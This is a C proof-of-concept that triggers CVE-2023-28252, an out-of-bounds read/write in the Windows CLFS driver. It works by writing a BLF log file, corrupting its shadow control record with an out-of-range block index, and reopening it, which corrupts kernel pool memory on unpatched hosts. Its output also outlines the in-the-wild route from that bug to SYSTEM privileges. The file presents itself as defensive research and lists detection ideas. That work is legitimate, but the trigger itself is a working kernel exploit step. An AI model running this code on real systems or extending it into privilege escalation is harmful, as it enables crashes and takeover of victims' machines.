/*
 * CVE-2023-28252 — CLFS clfs.sys OOB Read/Write Trigger PoC
 *
 * PURPOSE: Confirms the vulnerability exists by triggering the OOB access
 *          in ExtendMetadataBlock/WriteMetadataBlock via a malformed BLF file.
 *          Does NOT implement exploitation (no pool spray, no vtable hijack).
 *
 * EFFECT:  On unpatched systems: BSOD (with Driver Verifier) or silent pool
 *          corruption (without). On patched systems: CreateLogFile returns
 *          ERROR_LOG_CORRUPT, confirming the fix blocks the malformed BLF.
 *
 * BUILD (MSVC, from x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2023_28252.c /link clfsw32.lib kernel32.lib
 *
 * RUN:     poc_cve_2023_28252.exe  (standard user, non-production VM only)
 *
 * Credit: Trigger methodology derived from P0 RCA by Genwei Jiang (FLARE OTF).
 *         Original ITW exploit by Nokoyawa ransomware group.
 *
 * Call chain (Ghidra-verified):
 *   User mode:
 *     CreateLogFile()     → creates BLF on disk
 *     AddLogContainer()   → adds container, populates BLF metadata
 *     [close handle]
 *     [patch BLF on disk] → set iExtendBlock=iFlushBlock=0x13 in shadow CR
 *     CreateLogFile()     → reopens corrupted BLF (pre-patch: accepted)
 *     AddLogContainer()   → triggers OOB in ExtendMetadataBlock/WriteMetadataBlock
 *   Kernel mode:
 *     CClfsRequest::Dispatch()
 *       → CClfsLogFcbPhysical::AllocContainer()
 *         → CClfsBaseFilePersisted::AddContainer()
 *           → CClfsBaseFilePersisted::AddSymbol()
 *             → CClfsBaseFilePersisted::ExtendMetadataBlock()  *** OOB READ ***
 *               → CClfsBaseFilePersisted::WriteMetadataBlock() *** OOB WRITE ***
 *
 * Vulnerability:
 *   ExtendMetadataBlock and WriteMetadataBlock use iExtendBlock/iFlushBlock
 *   from the BLF control record shadow as indices into rgBlocks[] (max 6 entries)
 *   WITHOUT bounds validation. Setting iExtendBlock=0x13 reads 0x138 bytes past
 *   the array end. WriteMetadataBlock does a 1-byte increment at a controlled
 *   offset — sufficient for the Nokoyawa exploit's vtable hijack.
 *
 * Patch (KB5025239, April 2023):
 *   GetControlRecord validates iExtendBlock/iFlushBlock must be 2 or 3:
 *     if ((iExtendBlock - 2) & 0xFFFD != 0) return STATUS_LOG_CORRUPT;
 *
 * Detection opportunities:
 *   - Sysmon Event 11: .blf file created in user-writable directory
 *   - Sysmon Event 7:  clfsw32.dll loaded by non-system process
 *   - Sysmon Event 17/18: Rapid named pipe creation (pool spray indicator)
 *   - YARA: BLF file with iExtendBlock > 5 at shadow CR offset 0x488
 *   - Security 4656/4663: Write access to .blf in \Users\Public\ or \Temp\
 *
 * Author: OnlyFm252
 * Date:   2026-07-21
 * CVE:    CVE-2023-28252
 *
 * DISCLAIMER: This code is provided for defensive security research and blue
 * team detection testing ONLY. Do not use for unauthorized access.
 */

#include <stdio.h>
#include <windows.h>
#include <clfsw32.h>
#include <clfsmgmtw32.h>

#pragma comment(lib, "clfsw32.lib")

/*
 * BLF control record field offsets (from P0 RCA).
 * The control record shadow is the "active" copy read by GetControlRecord.
 */
#define BLF_VALID_SECTOR_COUNT_OFF      0x6
#define BLF_CR_DUMP_COUNT_OFF           0x70
#define BLF_CR_EXTEND_STATE_OFF         0x84
#define BLF_CR_IEXTENDBLOCK_OFF         0x88
#define BLF_CR_IFLUSHBLOCK_OFF          0x8a
#define BLF_CR_CEXTENDSTARTSECTORS_OFF  0x90
#define BLF_CR_CEXTENDSECTORS_OFF       0x94
#define BLF_CR_CCLIENTS_OFF             0x9c

/* Shadow copy offsets (0x400 bytes after primary) */
#define BLF_SHADOW_EXTEND_STATE_OFF     0x484
#define BLF_SHADOW_IEXTENDBLOCK_OFF     0x488
#define BLF_SHADOW_IFLUSHBLOCK_OFF      0x48a

/* The OOB index value used by the ITW exploit */
#define OOB_BLOCK_INDEX                 0x13

/* CLFS error codes not always defined in SDK headers */
#ifndef ERROR_LOG_CORRUPT
#define ERROR_LOG_CORRUPT               6602   /* 0x19CA */
#endif
#ifndef ERROR_LOG_TAIL_INVALID
#define ERROR_LOG_TAIL_INVALID          6612   /* 0x19D4 */
#endif
#ifndef ERROR_LOG_METADATA_CORRUPT
#define ERROR_LOG_METADATA_CORRUPT      6614   /* 0x19D6 */
#endif

static wchar_t g_blf_path[MAX_PATH];
static wchar_t g_cont_path[MAX_PATH];
static wchar_t g_trigger_cont_path[MAX_PATH];
static wchar_t g_log_uri[MAX_PATH + 8];

static void build_paths(void)
{
    wchar_t temp[MAX_PATH];
    GetTempPathW(MAX_PATH, temp);

    /* Remove trailing backslash if present */
    size_t len = wcslen(temp);
    if (len > 0 && temp[len - 1] == L'\\')
        temp[len - 1] = L'\0';

    /* CLFS auto-appends .blf to the log name, so:
     *   LOG URI:  LOG:<temp>\cve_2023_28252_trigger    (no .blf)
     *   BLF file: <temp>\cve_2023_28252_trigger.blf    (CLFS adds .blf)
     */
    _snwprintf(g_blf_path, MAX_PATH,
               L"%s\\cve_2023_28252_trigger.blf", temp);
    _snwprintf(g_cont_path, MAX_PATH,
               L"%s\\cve_2023_28252_container.log", temp);
    _snwprintf(g_trigger_cont_path, MAX_PATH,
               L"%s\\cve_2023_28252_trigger_container.log", temp);

    /* LOG URI uses the base name WITHOUT .blf — CLFS appends it */
    wchar_t logBase[MAX_PATH];
    _snwprintf(logBase, MAX_PATH,
               L"%s\\cve_2023_28252_trigger", temp);
    _snwprintf(g_log_uri, MAX_PATH + 8, L"LOG:%s", logBase);
}

static void cleanup_files(void)
{
    DeleteFileW(g_blf_path);
    DeleteFileW(g_cont_path);
    DeleteFileW(g_trigger_cont_path);

    /* CLFS may leave behind companion TMP files */
    wchar_t temp[MAX_PATH];
    wchar_t pattern[MAX_PATH];
    WIN32_FIND_DATAW fd;
    HANDLE hFind;

    GetTempPathW(MAX_PATH, temp);
    _snwprintf(pattern, MAX_PATH, L"%scve_2023_28252*", temp);
    hFind = FindFirstFileW(pattern, &fd);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            wchar_t full[MAX_PATH];
            _snwprintf(full, MAX_PATH, L"%s%s", temp, fd.cFileName);
            DeleteFileW(full);
        } while (FindNextFileW(hFind, &fd));
        FindClose(hFind);
    }
}

/*
 * WriteFileAt — patch a BLF file at a specific offset.
 */
static BOOL WriteFileAt(LPCWSTR path, DWORD offset, const void *data, DWORD size)
{
    HANDLE hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL,
                               OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] WriteFileAt: cannot open %ls (error %lu)\n",
               path, GetLastError());
        return FALSE;
    }

    DWORD written;
    SetFilePointer(hFile, offset, NULL, FILE_BEGIN);
    BOOL ok = WriteFile(hFile, data, size, &written, NULL);
    CloseHandle(hFile);
    return ok && (written == size);
}

static BOOL PatchDword(LPCWSTR path, DWORD offset, DWORD value)
{
    return WriteFileAt(path, offset, &value, sizeof(value));
}

static BOOL PatchWord(LPCWSTR path, DWORD offset, WORD value)
{
    return WriteFileAt(path, offset, &value, sizeof(value));
}

int wmain(void)
{
    HANDLE hLog;
    PVOID  pvMarshal = NULL;
    ULONGLONG containerSize;

    printf("=== CVE-2023-28252 — CLFS OOB Read/Write Trigger PoC ===\n\n");

    /* ----------------------------------------------------------------
     * Step 0: Build paths and clean up any leftovers
     * ---------------------------------------------------------------- */
    build_paths();
    cleanup_files();

    /* ----------------------------------------------------------------
     * Step 1: Create a valid BLF file with a container
     * ----------------------------------------------------------------
     * We need a legitimate BLF on disk so we can patch its control
     * record in Phase 2. AddLogContainer populates the container
     * descriptors and metadata block structures.
     */
    printf("[1] Creating valid BLF file...\n");
    printf("    LOG URI: %ls\n", g_log_uri);

    hLog = CreateLogFile(
        g_log_uri,
        GENERIC_READ | GENERIC_WRITE,
        0,              /* exclusive — no sharing */
        NULL,           /* default security descriptor */
        CREATE_NEW,     /* fresh log — we cleaned up above */
        FILE_ATTRIBUTE_ARCHIVE  /* non-ephemeral — BLF must persist after close */
    );
    if (hLog == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        if (err == ERROR_FILE_EXISTS) {
            printf("[*] BLF exists despite cleanup, opening existing...\n");
            hLog = CreateLogFile(g_log_uri, GENERIC_READ | GENERIC_WRITE,
                                 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE);
        }
        if (hLog == INVALID_HANDLE_VALUE) {
            printf("[-] CreateLogFile failed: error %lu (0x%08lX)\n",
                   GetLastError(), GetLastError());
            return 1;
        }
    }
    printf("[+] Log handle: 0x%p\n", hLog);

    /* Add a container so the BLF has container descriptors */
    containerSize = 512 * 1024;  /* 512 KB */
    printf("[1b] Adding container: %ls\n", g_cont_path);
    if (!AddLogContainer(hLog, &containerSize, g_cont_path, NULL)) {
        DWORD err = GetLastError();
        if (err == ERROR_ALREADY_EXISTS) {
            printf("[*] Container already exists, continuing...\n");
        } else {
            printf("[-] AddLogContainer failed: error %lu (0x%08lX)\n",
                   err, err);
            CloseHandle(hLog);
            return 1;
        }
    } else {
        printf("[+] Container added (%llu bytes)\n", containerSize);
    }

    /* Write a dummy record so CLFS considers the log non-ephemeral.
     * Without this, CLFS deletes the BLF when the handle is closed.
     * The record goes into the container (.log), NOT the BLF metadata —
     * it does not affect the control record fields we patch in Phase 2. */
    printf("[1c] Writing dummy record (makes log non-ephemeral)...\n");
    {
        char dummyData[] = "CVE-2023-28252-trigger";
        CLFS_WRITE_ENTRY writeEntry;
        CLFS_LSN lsnWritten = { 0 };

        if (!CreateLogMarshallingArea(
                hLog,
                NULL, NULL,         /* pfnAllocBuffer, pfnFreeBuffer */
                NULL,               /* pvBlockAllocContext            */
                1024 * 64,          /* cbMarshallingBuffer: 64 KB     */
                2,                  /* cMaxWriteBuffers               */
                1,                  /* cMaxReadBuffers                */
                &pvMarshal))
        {
            printf("[-] CreateLogMarshallingArea failed: error %lu\n",
                   GetLastError());
            CloseHandle(hLog);
            return 1;
        }

        writeEntry.Buffer     = dummyData;
        writeEntry.ByteLength = sizeof(dummyData);

        if (!ReserveAndAppendLog(
                pvMarshal,
                &writeEntry, 1,     /* one write entry */
                NULL, NULL,         /* plsnUndoNext, plsnPrevious */
                0, NULL,            /* no reservations */
                CLFS_FLAG_FORCE_FLUSH,
                &lsnWritten, NULL))
        {
            printf("[-] ReserveAndAppendLog failed: error %lu\n",
                   GetLastError());
            DeleteLogMarshallingArea(pvMarshal);
            CloseHandle(hLog);
            return 1;
        }
        printf("[+] Dummy record written at LSN 0x%016llX\n",
               (unsigned long long)lsnWritten.Internal);

        DeleteLogMarshallingArea(pvMarshal);
        pvMarshal = NULL;
    }

    /* Close the log so we can modify the BLF on disk */
    CloseHandle(hLog);
    printf("[+] Valid BLF created and closed (non-ephemeral).\n");

    /* Diagnostic: verify the BLF file exists on disk */
    {
        DWORD attrs = GetFileAttributesW(g_blf_path);
        if (attrs == INVALID_FILE_ATTRIBUTES) {
            wchar_t temp[MAX_PATH];
            wchar_t pattern[MAX_PATH];
            WIN32_FIND_DATAW fd;
            HANDLE hFind;

            printf("[!] BLF NOT found at: %ls (error %lu)\n",
                   g_blf_path, GetLastError());
            printf("[!] Searching for actual BLF location...\n");

            GetTempPathW(MAX_PATH, temp);
            _snwprintf(pattern, MAX_PATH, L"%scve_2023_28252*", temp);
            hFind = FindFirstFileW(pattern, &fd);
            if (hFind != INVALID_HANDLE_VALUE) {
                do {
                    printf("    Found: %ls (%lu bytes)\n",
                           fd.cFileName,
                           fd.nFileSizeLow);
                } while (FindNextFileW(hFind, &fd));
                FindClose(hFind);
            } else {
                printf("    No files matching cve_2023_28252* in TEMP!\n");
            }
            goto done;
        } else {
            printf("[+] BLF verified on disk: %ls\n", g_blf_path);
        }
    }

    /* ----------------------------------------------------------------
     * Step 2: Corrupt the BLF control record shadow
     * ----------------------------------------------------------------
     * The control record has two copies: primary and shadow. CLFS
     * reads the shadow copy via GetControlRecord. We set:
     *   - eExtendState = 2 (ClfsExtendStateFlushingBlock)
     *   - iExtendBlock = iFlushBlock = 0x13 (OOB — valid range: 2-3)
     *
     * The primary copy gets valid values so CLFS initial parsing
     * doesn't reject the file outright (pre-patch).
     *
     * Offsets from P0 RCA by Genwei Jiang (FLARE OTF).
     */
    printf("\n[2] Patching BLF control record with OOB index 0x%X...\n",
           OOB_BLOCK_INDEX);

    /* Shadow control record (active copy read by GetControlRecord) */
    printf("    Shadow CR: eExtendState=2, iExtendBlock=0x%X, iFlushBlock=0x%X\n",
           OOB_BLOCK_INDEX, OOB_BLOCK_INDEX);

    BOOL patchOk = TRUE;
    patchOk &= PatchDword(g_blf_path, BLF_SHADOW_EXTEND_STATE_OFF, 0x2);
    patchOk &= PatchWord(g_blf_path,  BLF_SHADOW_IEXTENDBLOCK_OFF, OOB_BLOCK_INDEX);
    patchOk &= PatchWord(g_blf_path,  BLF_SHADOW_IFLUSHBLOCK_OFF,  OOB_BLOCK_INDEX);

    /* Primary control record — valid values for initial parse */
    printf("    Primary CR: eExtendState=2, iExtendBlock=4, iFlushBlock=4\n");
    patchOk &= PatchDword(g_blf_path, BLF_CR_EXTEND_STATE_OFF,         0x2);
    patchOk &= PatchWord(g_blf_path,  BLF_CR_IEXTENDBLOCK_OFF,         0x4);
    patchOk &= PatchWord(g_blf_path,  BLF_CR_IFLUSHBLOCK_OFF,          0x4);
    patchOk &= PatchDword(g_blf_path, BLF_CR_CEXTENDSTARTSECTORS_OFF,  0x1);
    patchOk &= PatchDword(g_blf_path, BLF_CR_CEXTENDSECTORS_OFF,       0x3);
    patchOk &= PatchDword(g_blf_path, BLF_CR_CCLIENTS_OFF,             0x2);
    patchOk &= PatchDword(g_blf_path, BLF_CR_DUMP_COUNT_OFF,           0x2);
    patchOk &= PatchWord(g_blf_path,  BLF_VALID_SECTOR_COUNT_OFF,      0x1);

    if (!patchOk) {
        printf("[-] BLF patching FAILED — file may not exist on disk.\n");
        printf("[-] Check that the BLF persisted after CloseHandle.\n");
        goto done;
    }
    printf("[+] BLF patched successfully.\n");

    /* ----------------------------------------------------------------
     * Step 3: Reopen the malformed BLF to trigger OOB
     * ----------------------------------------------------------------
     * Pre-patch:  GetControlRecord does NOT validate iExtendBlock range.
     *             The malformed BLF is accepted and the OOB index 0x13
     *             is used in ExtendMetadataBlock/WriteMetadataBlock.
     *
     * Post-patch: GetControlRecord checks (iExtendBlock - 2) & 0xFFFD
     *             and rejects values outside {2, 3} with STATUS_LOG_CORRUPT.
     */
    printf("\n[3] Reopening malformed BLF...\n");
    printf("[!] UNPATCHED: pool corruption or BSOD (with Driver Verifier)\n");
    printf("[!] PATCHED:   CreateLogFile returns ERROR_LOG_CORRUPT\n\n");

    hLog = CreateLogFile(
        g_log_uri,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0
    );
    if (hLog == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        if (err == ERROR_LOG_CORRUPT ||
            err == ERROR_LOG_TAIL_INVALID ||
            err == ERROR_LOG_METADATA_CORRUPT) {
            printf("============================================================\n");
            printf("[+] PATCHED: CreateLogFile rejected malformed BLF\n");
            printf("[+] Error: %lu (0x%08lX)\n", err, err);
            if (err == ERROR_LOG_CORRUPT)
                printf("[+] GetControlRecord blocked iExtendBlock=0x%X directly\n",
                       OOB_BLOCK_INDEX);
            else if (err == ERROR_LOG_TAIL_INVALID)
                printf("[+] Post-patch validation caught inconsistent log tail\n");
            else
                printf("[+] Post-patch validation caught corrupt metadata\n");
            printf("[+] System is NOT vulnerable to CVE-2023-28252.\n");
            printf("============================================================\n");
        } else {
            printf("[?] CreateLogFile failed with unexpected error: %lu (0x%08lX)\n",
                   err, err);
        }
        goto done;
    }

    /* If we get here on an unpatched system, the BLF was accepted.
     * Now trigger the OOB by calling AddLogContainer, which reaches
     * ExtendMetadataBlock → WriteMetadataBlock using iExtendBlock=0x13.
     *
     * WARNING: On unpatched systems, this WILL cause pool corruption.
     * With Driver Verifier / Special Pool enabled for clfs.sys, expect
     * BSOD in CClfsBaseFilePersisted::ExtendMetadataBlock.
     */
    printf("============================================================\n");
    printf("[!] VULNERABLE: BLF with iExtendBlock=0x%X was ACCEPTED!\n",
           OOB_BLOCK_INDEX);
    printf("[!] clfs.sys GetControlRecord did NOT validate block index.\n");
    printf("============================================================\n\n");

    printf("[!] Triggering AddLogContainer to reach OOB code path...\n");
    printf("[!] ExtendMetadataBlock will read rgBlocks[0x13] (OOB by 0x138 bytes)\n");
    printf("[!] WriteMetadataBlock will do 1-byte increment at controlled offset\n\n");

    containerSize = 512 * 1024;
    if (!AddLogContainer(hLog, &containerSize, g_trigger_cont_path, NULL)) {
        DWORD err = GetLastError();
        printf("[*] AddLogContainer returned error: %lu (0x%08lX)\n", err, err);
        if (err == ERROR_LOG_CORRUPT)
            printf("[*] Log corruption detected during extend — OOB access may have occurred.\n");
        else
            printf("[*] If Driver Verifier is enabled, BSOD may have already occurred.\n");
    } else {
        printf("[!] AddLogContainer succeeded — OOB access occurred in kernel pool.\n");
        printf("[!] Pool corruption has occurred. Reboot recommended.\n");
    }

    printf("\n    Exploitation value (Nokoyawa ITW chain):\n");
    printf("    - OOB read: rgBlocks[0x13] reads from adjacent NpFr pool allocation\n");
    printf("    - OOB write: 1-byte increment redirects rgContainers[0] (0x1470→0x1570)\n");
    printf("    - Vtable hijack: fake CONTAINER_CONTEXT at 0x1570 with vtable at 0x5000000\n");
    printf("    - Win10: RtlClearBit clears PreviousMode → NtWriteVirtualMemory → SYSTEM\n");
    printf("    - Win11: PoFxProcessorNotification → SeSetAccessStateGenericMapping → SYSTEM\n");

    CloseHandle(hLog);

done:
    cleanup_files();
    return 0;
}
